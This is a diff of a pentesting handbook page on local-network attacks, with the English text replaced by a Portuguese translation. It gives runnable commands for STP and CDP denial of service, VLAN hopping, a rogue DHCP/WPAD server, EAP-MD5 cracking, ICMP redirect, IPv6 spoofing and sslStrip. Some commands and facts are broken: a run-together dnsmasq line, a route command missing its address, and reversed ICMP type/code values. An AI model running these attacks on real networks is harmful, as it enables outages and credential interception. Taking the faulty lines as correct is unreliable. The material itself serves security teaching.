+#### **Ataque STP TCP**
 
-#### **STP TCP Attack**
-
-When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub
-
+Quando um TCP é enviado, a tabela CAM dos switches será deletada em 15s. Então, se você estiver enviando continuamente esse tipo de pacotes, a tabela CAM será reiniciada continuamente (ou a cada 15 segundos) e quando for reiniciada, o switch se comporta como um hub.
 ```bash
 yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
 yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
 ```
+#### **Ataque STP Root**
 
-#### **STP Root Attack**
-
-The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\
-This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch.
-
+O atacante simula o comportamento de um switch para se tornar o root STP da rede. Então, mais dados passarão por ele. Isso é interessante quando você está conectado a dois switches diferentes.\
+Isso é feito enviando pacotes BPDUs CONF dizendo que o valor de **prioridade** é menor do que a prioridade real do switch root atual.
 ```bash
 yersinia stp -attack 4 #Behaves like the root switch
 yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
 ```
-
-**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed).
-
+**Se o atacante estiver conectado a 2 switches, ele pode ser a raiz da nova árvore e todo o tráfego entre esses switches passará por ele** (um ataque MITM será realizado).
 ```bash
 yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
 ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
 ```
+### Ataques CDP
 
-### CDP Attacks
+O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre dispositivos CISCO, permitindo que eles **se identifiquem e compartilhem detalhes de configuração**.
 
-CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**.
+#### Coleta de Dados Passiva 
 
-#### Passive Data Collection 
+O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
 
-CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version.
-
-#### Inducing CDP Table Flooding 
-
-A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing:
+#### Induzindo a Inundação da Tabela CDP 
 
+Uma abordagem mais agressiva envolve lançar um ataque de Negação de Serviço (DoS) sobrecarregando a memória do switch, fingindo ser dispositivos CISCO legítimos. Abaixo está a sequência de comandos para iniciar tal ataque usando Yersinia, uma ferramenta de rede projetada para testes:
 ```bash
 sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
 # Alternatively, for a GUI approach:
 sudo yersinia -G
 ```
+Durante este ataque, a CPU do switch e a tabela de vizinhos CDP estão sobrecarregadas, levando ao que muitas vezes é referido como **“paralisia da rede”** devido ao consumo excessivo de recursos.
 
-During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption.
-
-#### CDP Impersonation Attack
-
+#### Ataque de Impersonação CDP
 ```bash
 sudo yersinia cdp -attack 2 #Simulate a new CISCO device
 sudo yersinia cdp -attack 0 #Send a CDP packet
 ```
+Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifique-se de instalá-lo com o pacote `scapy/contrib`.
 
-You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
+### Ataques VoIP e a Ferramenta VoIP Hopper
 
-### VoIP Attacks and the VoIP Hopper Tool
+Os telefones VoIP, cada vez mais integrados a dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança.
 
-VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks.
+A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID da VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
 
-The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.
+**VoIP Hopper** oferece três modos para o Protocolo de Descoberta Cisco (CDP):
 
-**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP):
+1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID da VLAN.
+2. **Modo Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real.
+3. **Modo Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco.
 
-1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID.
-2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device.
-3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model.
+O modo preferido para velocidade é o terceiro. Ele requer a especificação de:
 
-The preferred mode for speed is the third one. It requires specifying:
+- A interface de rede do atacante (`-i` parâmetro).
+- O nome do dispositivo VoIP sendo emulado (`-E` parâmetro), aderindo ao formato de nomenclatura Cisco (por exemplo, SEP seguido de um endereço MAC).
 
-- The attacker's network interface (`-i` parameter).
-- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address).
+Em ambientes corporativos, para imitar um dispositivo VoIP existente, pode-se:
 
-In corporate settings, to mimic an existing VoIP device, one might:
-
-- Inspect the MAC label on the phone.
-- Navigate the phone's display settings to view model information.
-- Connect the VoIP device to a laptop and observe CDP requests using Wireshark.
-
-An example command to execute the tool in the third mode would be:
+- Inspecionar o rótulo MAC no telefone.
+- Navegar nas configurações de exibição do telefone para visualizar informações do modelo.
+- Conectar o dispositivo VoIP a um laptop e observar solicitações CDP usando o Wireshark.
 
+Um comando de exemplo para executar a ferramenta no terceiro modo seria:
 ```bash
 voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
 ```
+### Ataques DHCP
 
-### DHCP Attacks
-
-#### Enumeration
-
+#### Enumeração
 ```bash
 nmap --script broadcast-dhcp-discover
 Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
@@ -551,68 +487,61 @@ Pre-scan script results:
 |_    Domain Name: mynet
 Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
 ```
-
 **DoS**
 
-**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\
-This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**.
-
-Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP.
+**Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
+Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Por exemplo, isso **não é possível em redes Wifi**.
 
+Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código de origem todos os IPs possíveis**. Assim, o servidor pensará que todos terminaram de usar o IP.
 ```bash
 yersinia dhcp -attack 1
 yersinia dhcp -attack 3 #More parameters are needed
 ```
+Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig)
 
-A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)
+Você poderia usar os ataques DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles fiquem não responsivos. Assim, quando os legítimos tentarem se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**.
 
-You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**.
+#### Definir valores maliciosos
 
-#### Set malicious values
+Um servidor DHCP malicioso pode ser configurado usando o script DHCP localizado em `/usr/share/responder/DHCP.py`. Isso é útil para ataques de rede, como capturar tráfego HTTP e credenciais, redirecionando o tráfego para um servidor malicioso. No entanto, configurar um gateway malicioso é menos eficaz, pois isso apenas permite capturar o tráfego de saída do cliente, perdendo as respostas do verdadeiro gateway. Em vez disso, recomenda-se configurar um servidor DNS ou WPAD malicioso para um ataque mais eficaz.
 
-A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack.
+Abaixo estão as opções de comando para configurar o servidor DHCP malicioso:
 
-Below are the command options for configuring the rogue DHCP server:
-
-- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway.
-- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name.
-- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway.
-- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control.
-- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP.
-- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network.
-- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface.
-- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception.
-- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address.
-- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected.
-
-By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively.
+- **Nosso Endereço IP (Anúncio de Gateway)**: Use `-i 10.0.0.100` para anunciar o IP da sua máquina como o gateway.
+- **Nome de Domínio DNS Local**: Opcionalmente, use `-d example.org` para definir um nome de domínio DNS local.
+- **IP do Roteador/Gateway Original**: Use `-r 10.0.0.1` para especificar o endereço IP do roteador ou gateway legítimo.
+- **IP do Servidor DNS Primário**: Use `-p 10.0.0.100` para definir o endereço IP do servidor DNS malicioso que você controla.
+- **IP do Servidor DNS Secundário**: Opcionalmente, use `-s 10.0.0.1` para definir um IP de servidor DNS secundário.
+- **Máscara de Rede Local**: Use `-n 255.255.255.0` para definir a máscara de rede para a rede local.
+- **Interface para Tráfego DHCP**: Use `-I eth1` para escutar o tráfego DHCP em uma interface de rede específica.
+- **Endereço de Configuração WPAD**: Use `-w “http://10.0.0.100/wpad.dat”` para definir o endereço para configuração WPAD, auxiliando na interceptação de tráfego web.
+- **Falsificar IP do Gateway Padrão**: Inclua `-S` para falsificar o endereço IP do gateway padrão.
+- **Responder a Todos os Pedidos DHCP**: Inclua `-R` para fazer o servidor responder a todos os pedidos DHCP, mas esteja ciente de que isso é barulhento e pode ser detectado.
 
+Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabelecido para interceptar o tráfego de rede de forma eficaz.
 ```python
 # Example to start a rogue DHCP server with specified options
 !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
 ```
+### **Ataques EAP**
 
-### **EAP Attacks**
+Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
 
-Here are some of the attack tactics that can be used against 802.1X implementations:
-
-- Active brute-force password grinding via EAP
-- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits)
-- EAP message capture and offline password cracking (EAP-MD5 and PEAP)
-- Forcing EAP-MD5 authentication to bypass TLS certificate validation
-- Injecting malicious network traffic upon authenticating using a hub or similar
-
-If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using:
+- Força bruta ativa de senhas via EAP
+- Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
+- Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP)
+- Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS
+- Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar
 
+Se o atacante estiver entre a vítima e o servidor de autenticação, ele pode tentar degradar (se necessário) o protocolo de autenticação para EAP-MD5 e capturar a tentativa de autenticação. Então, ele poderia usar força bruta para isso:
 ```
 eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
 ```
-
 ### FHRP (GLBP & HSRP) Attacks 
 
-**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load.
+**FHRP** (First Hop Redundancy Protocol) é uma classe de protocolos de rede projetados para **criar um sistema de roteamento redundante ativo**. Com o FHRP, roteadores físicos podem ser combinados em um único dispositivo lógico, o que aumenta a tolerância a falhas e ajuda a distribuir a carga.
 
-**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.**
+**Engenheiros da Cisco Systems desenvolveram dois protocolos FHRP, GLBP e HSRP.**
 
 {{#ref}}
 glbp-and-hsrp-attacks.md
@@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md
 
 ### RIP
 
-Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6.
+Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas: RIP, RIPv2 e RIPng. Datagramas são enviados para pares via porta 520 usando UDP pelo RIP e RIPv2, enquanto datagramas são transmitidos para a porta UDP 521 via multicast IPv6 pelo RIPng. O suporte para autenticação MD5 foi introduzido pelo RIPv2. Por outro lado, a autenticação nativa não é incorporada pelo RIPng; em vez disso, confia-se em cabeçalhos IPsec AH e ESP opcionais dentro do IPv6.
 
-- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520.
-- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast.
+- **RIP e RIPv2:** A comunicação é feita através de datagramas UDP na porta 520.
+- **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6.
 
-Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6.
+Observe que o RIPv2 suporta autenticação MD5, enquanto o RIPng não inclui autenticação nativa, confiando em cabeçalhos IPsec AH e ESP no IPv6.
 
 ### EIGRP Attacks
 
-**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system.
+**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injeta uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo.
 
-To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections.
+Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções.
 
-[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain.
+[**FRRouting**](https://frrouting.org/) permite implementar **um roteador virtual que suporta BGP, OSPF, EIGRP, RIP e outros protocolos.** Tudo o que você precisa fazer é implantá-lo no sistema do seu atacante e você pode realmente fingir ser um roteador legítimo no domínio de roteamento.
 
 {{#ref}}
 eigrp-attacks.md
 {{#endref}}
 
-[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations.
+[**Coly**](https://code.google.com/p/coly/) tem capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
 
 ### OSPF
 
-In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively.
+No protocolo Open Shortest Path First (OSPF), **a autenticação MD5 é comumente empregada para garantir comunicação segura entre roteadores**. No entanto, essa medida de segurança pode ser comprometida usando ferramentas como Loki e John the Ripper. Essas ferramentas são capazes de capturar e quebrar hashes MD5, expondo a chave de autenticação. Uma vez que essa chave é obtida, pode ser usada para introduzir novas informações de roteamento. Para configurar os parâmetros da rota e estabelecer a chave comprometida, as abas _Injection_ e _Connection_ são utilizadas, respectivamente.
 
-- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose.
-- **Configuring Route Parameters:** This is done through the _Injection_ tab.
-- **Setting the Compromised Key:** The key is configured under the _Connection_ tab.
+- **Capturando e Quebrando Hashes MD5:** Ferramentas como Loki e John the Ripper são usadas para esse propósito.
+- **Configurando Parâmetros de Rota:** Isso é feito através da aba _Injection_.
+- **Definindo a Chave Comprometida:** A chave é configurada na aba _Connection_.
 
 ### Other Generic Tools & Sources
 
-- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities
-- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet).
+- [**Above**](https://github.com/c4s73r/Above): Ferramenta para escanear tráfego de rede e encontrar vulnerabilidades
+- Você pode encontrar algumas **mais informações sobre ataques de rede** [**aqui**](https://github.com/Sab0tag3d/MITM-cheatsheet).
 
 ## **Spoofing**
 
-The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses.
-
+O atacante configura todos os parâmetros de rede (GW, IP, DNS) do novo membro da rede enviando respostas DHCP falsas.
 ```bash
 Ettercap
 yersinia dhcp -attack 2 #More parameters are needed
 ```
-
 ### ARP Spoofing
 
-Check the [previous section](./#arp-spoofing).
+Verifique a [seção anterior](./#arp-spoofing).
 
 ### ICMPRedirect
 
-ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker.
-
+ICMP Redirect consiste em enviar um pacote ICMP tipo 1 código 5 que indica que o atacante é a melhor maneira de alcançar um IP. Assim, quando a vítima quiser contatar o IP, enviará o pacote através do atacante.
 ```bash
 Ettercap
 icmp_redirect
 hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
 ```
-
 ### DNS Spoofing
 
-The attacker will resolve some (or all) the domains that the victim ask for.
-
+O atacante irá resolver alguns (ou todos) os domínios que a vítima solicitar.
 ```bash
 set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
 ```
-
-**Configure own DNS with dnsmasq**
-
+**Configurar seu próprio DNS com dnsmasq**
 ```bash
 apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1   domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
 dig @localhost domain.example.com # Test the configured DNS
 ```
+### Gateways Locais
 
-### Local Gateways
-
-Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding.
-
+Múltiplas rotas para sistemas e redes frequentemente existem. Ao construir uma lista de endereços MAC dentro da rede local, use _gateway-finder.py_ para identificar hosts que suportam o encaminhamento IPv4.
 ```
 root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
 root@kali:~# cd gateway-finder/
@@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
 [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
 [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
 ```
+### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
-### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+Para resolução de host local quando as consultas DNS falham, sistemas Microsoft dependem de **Link-Local Multicast Name Resolution (LLMNR)** e do **NetBIOS Name Service (NBT-NS)**. Da mesma forma, **Apple Bonjour** e implementações de **Linux zero-configuration** utilizam **Multicast DNS (mDNS)** para descobrir sistemas dentro de uma rede. Devido à natureza não autenticada desses protocolos e sua operação sobre UDP, transmitindo mensagens, eles podem ser explorados por atacantes que visam redirecionar usuários para serviços maliciosos.
 
-For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services.
-
-You can impersonate services that are searched by hosts using Responder to send fake responses.\
-Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+Você pode se passar por serviços que estão sendo procurados por hosts usando o Responder para enviar respostas falsas.\
+Leia aqui mais informações sobre [como se passar por serviços com Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
 ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
 
-Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms:
+Os navegadores comumente utilizam o **protocolo Web Proxy Auto-Discovery (WPAD) para adquirir automaticamente as configurações de proxy**. Isso envolve buscar detalhes de configuração de um servidor, especificamente através de uma URL como "http://wpad.example.org/wpad.dat". A descoberta desse servidor pelos clientes pode ocorrer através de vários mecanismos:
 
-- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry.
-- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain.
-- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed.
+- Através de **DHCP**, onde a descoberta é facilitada utilizando uma entrada de código especial 252.
+- Por **DNS**, que envolve a busca por um nome de host rotulado como _wpad_ dentro do domínio local.
+- Via **Microsoft LLMNR e NBT-NS**, que são mecanismos de fallback usados em casos onde as consultas DNS não têm sucesso.
 
-The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+A ferramenta Responder se aproveita desse protocolo agindo como um **servidor WPAD malicioso**. Ela utiliza DHCP, DNS, LLMNR e NBT-NS para enganar os clientes a se conectarem a ela. Para se aprofundar em como serviços podem ser impersonados usando o Responder [verifique isso](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
 
-### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
+### [Spoofing SSDP e dispositivos UPnP](spoofing-ssdp-and-upnp-devices.md)
 
-You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
+Você pode oferecer diferentes serviços na rede para tentar **enganar um usuário** a inserir algumas **credenciais em texto simples**. **Mais informações sobre esse ataque em** [**Spoofing SSDP e Dispositivos UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
 
-### IPv6 Neighbor Spoofing
-
-This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker.
+### Spoofing de Vizinhança IPv6
 
+Esse ataque é muito semelhante ao ARP Spoofing, mas no mundo IPv6. Você pode fazer a vítima pensar que o IPv6 do GW tem o MAC do atacante.
 ```bash
 sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
 sudo fake_advertise6 -r -w 2 eth0  #This option will send the Neighbor Advertisement packet every 2 seconds
 ```
+### Spoofing/Flooding de Anúncios de Roteador IPv6
 
-### IPv6 Router Advertisement Spoofing/Flooding
-
-Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use:
-
+Alguns sistemas operacionais configuram por padrão o gateway a partir dos pacotes RA enviados na rede. Para declarar o atacante como roteador IPv6, você pode usar:
 ```bash
 sysctl -w net.ipv6.conf.all.forwarding=1 4
 ip route add default via  dev wlan0
 fake_router6 wlan0 fe80::01/16
 ```
+### Spoofing DHCP IPv6
 
-### IPv6 DHCP spoofing
-
-By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim.
-
+Por padrão, alguns sistemas operacionais tentam configurar o DNS lendo um pacote DHCPv6 na rede. Assim, um atacante poderia enviar um pacote DHCPv6 para se configurar como DNS. O DHCP também fornece um IPv6 para a vítima.
 ```bash
 dhcp6.spoof on
 dhcp6.spoof.domains 
 
 mitm6
 ```
+### HTTP (página falsa e injeção de código JS)
 
-### HTTP (fake page and JS code injection)
-
-## Internet Attacks
+## Ataques na Internet
 
 ### sslStrip
 
-Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**.
-
+Basicamente, o que este ataque faz é, caso o **usuário** tente **acessar** uma página **HTTP** que está **redirecionando** para a versão **HTTPS**. O **sslStrip** irá **manter** uma **conexão HTTP com** o **cliente e** uma **conexão HTTPS com** o **servidor**, permitindo que ele **capture** a conexão em **texto simples**.
 ```bash
 apt-get install sslstrip
 sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@@ -781,33 +693,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
 ```
+Mais informações [aqui](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
 
-More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
+### sslStrip+ e dns2proxy para contornar HSTS
 
-### sslStrip+ and dns2proxy for bypassing HSTS
+A **diferença** entre **sslStrip+ e dns2proxy** em relação ao **sslStrip** é que eles **redirecionarão** por exemplo _**www.facebook.com**_ **para** _**wwww.facebook.com**_ (note o **extra** "**w**") e definirão o **endereço deste domínio como o IP do atacante**. Dessa forma, o **cliente** irá **conectar-se** a _**wwww.facebook.com**_ **(o atacante)**, mas nos bastidores **sslstrip+** irá **manter** a **conexão real** via https com **www.facebook.com**.
 
